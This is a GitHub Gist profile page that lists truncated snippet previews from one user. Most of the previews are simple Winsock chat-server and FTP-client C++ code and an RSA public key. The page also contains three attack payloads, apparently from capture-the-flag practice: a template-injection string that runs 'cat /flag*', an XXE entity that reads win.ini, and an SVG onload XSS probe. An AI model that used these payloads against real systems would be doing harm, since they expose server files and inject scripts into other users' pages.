Skip to content

Instantly share code, notes, and snippets.

View oldboysonnt's full-sized avatar

Thanh Son Nguyen oldboysonnt

View GitHub Profile
{{.FetchServerInfo "cat /flag*"}}
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"kid": "0f646f07-787d-4b5d-8d27-20a546e9fa23",
"n": "srVoHoKGzEXh-cOf5kn9wazFIH4topuSC6fiUiUOKRfpVKhCr5IX8BOIv_kvdGFdDI0zwIG4EZORfTvarEwp2O3eB-rSuHbj7JRsP_oK9njSCsrSoeG-zEBwntVOkPml4RrXDPys7CIszmmCR4Kqvr-dDP6IaPGagMkWB0XwMJij2M_mpbhdwbAl_9Ahi-rUDqSMTFAOgCNYVs2gw_HFeuyc0baiN1BPiqCBIwVyJYEyL5cCr-AcO9sGeU_ZbIuvySZOeR3vrG5KsCfINbn20NW-t3c04mKJFaFdFAaLVkTc86vDg23V7wDaxxeOsYZPThTqR7Ugogi5HBhzNQqZsQ"
}
]
}
<!ENTITY % file SYSTEM "file://C:/windows/win.ini">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file://C:/nonexistent/%file;'>">
%eval;
%error;
<svg onload=alert(origin)>
// download_management.cpp : Defines the entry point for the application.
//
#define CURL_STATICLIB
#define LINE_LEN 16
#include "framework.h"
#include "download_management.h"
#include <regex>
#include "pcap.h"
#include <curl.h>
// FTPClient.cpp : This file contains the 'main' function. Program execution begins and ends there.
//
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
#pragma warning(disable:4996)
SOCKET controlSocket;
// ChatServer.cpp : This file contains the 'main' function. Program execution begins and ends there.
//
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
#pragma warning(disable:4996)
DWORD WINAPI ClientThread(LPVOID);
// ChatServer.cpp : This file contains the 'main' function. Program execution begins and ends there.
//
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
#pragma warning(disable:4996)
DWORD WINAPI ClientThread(LPVOID);
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
#pragma warning (disable: 4996)
DWORD WINAPI ClientThread(LPVOID lpParam);
#include <stdio.h>
#include <winsock2.h>
#include <string.h>
#pragma comment(lib, "ws2_32")
#pragma warning(disable : 4996)
SOCKET clients[64];
int numClients;